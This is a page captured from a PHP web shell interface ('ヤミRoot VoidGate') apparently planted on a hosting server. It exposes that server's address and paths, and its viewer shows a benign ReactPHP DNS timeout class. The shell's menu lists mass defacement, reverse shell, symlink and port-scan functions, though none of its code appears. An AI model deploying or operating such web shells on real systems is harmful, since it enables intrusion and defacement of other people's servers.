ヤミRoot VoidGate
User / IP
:
216.73.216.49
Host / Server
:
146.88.233.70 / www.dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
opt
/
cpanel
/
ea-wappspector
/
vendor
/
rector
/
rector
/
vendor
/
react
/
dns
/
src
/
Query
/
Viewing: TimeoutExecutor.php
<?php namespace RectorPrefix202411\React\Dns\Query; use RectorPrefix202411\React\EventLoop\Loop; use RectorPrefix202411\React\EventLoop\LoopInterface; use RectorPrefix202411\React\Promise\Promise; final class TimeoutExecutor implements ExecutorInterface { private $executor; private $loop; private $timeout; /** * @param ExecutorInterface $executor * @param float $timeout * @param ?LoopInterface $loop */ public function __construct(ExecutorInterface $executor, $timeout, $loop = null) { if ($loop !== null && !$loop instanceof LoopInterface) { // manual type check to support legacy PHP < 7.1 throw new \InvalidArgumentException('Argument #3 ($loop) expected null|React\\EventLoop\\LoopInterface'); } $this->executor = $executor; $this->loop = $loop ?: Loop::get(); $this->timeout = $timeout; } public function query(Query $query) { $promise = $this->executor->query($query); $loop = $this->loop; $time = $this->timeout; return new Promise(function ($resolve, $reject) use($loop, $time, $promise, $query) { $timer = null; $promise = $promise->then(function ($v) use(&$timer, $loop, $resolve) { if ($timer) { $loop->cancelTimer($timer); } $timer = \false; $resolve($v); }, function ($v) use(&$timer, $loop, $reject) { if ($timer) { $loop->cancelTimer($timer); } $timer = \false; $reject($v); }); // promise already resolved => no need to start timer if ($timer === \false) { return; } // start timeout timer which will cancel the pending promise $timer = $loop->addTimer($time, function () use($time, &$promise, $reject, $query) { $reject(new TimeoutException('DNS query for ' . $query->describe() . ' timed out')); // Cancel pending query to clean up any underlying resources and references. // Avoid garbage references in call stack by passing pending promise by reference. \assert(\method_exists($promise, 'cancel')); $promise->cancel(); $promise = null; }); }, function () use(&$promise) { // Cancelling this promise will cancel the pending query, thus triggering the rejection logic above. // Avoid garbage references in call stack by passing pending promise by reference. \assert(\method_exists($promise, 'cancel')); $promise->cancel(); $promise = null; }); } }
Coded With 💗 by
0x6ick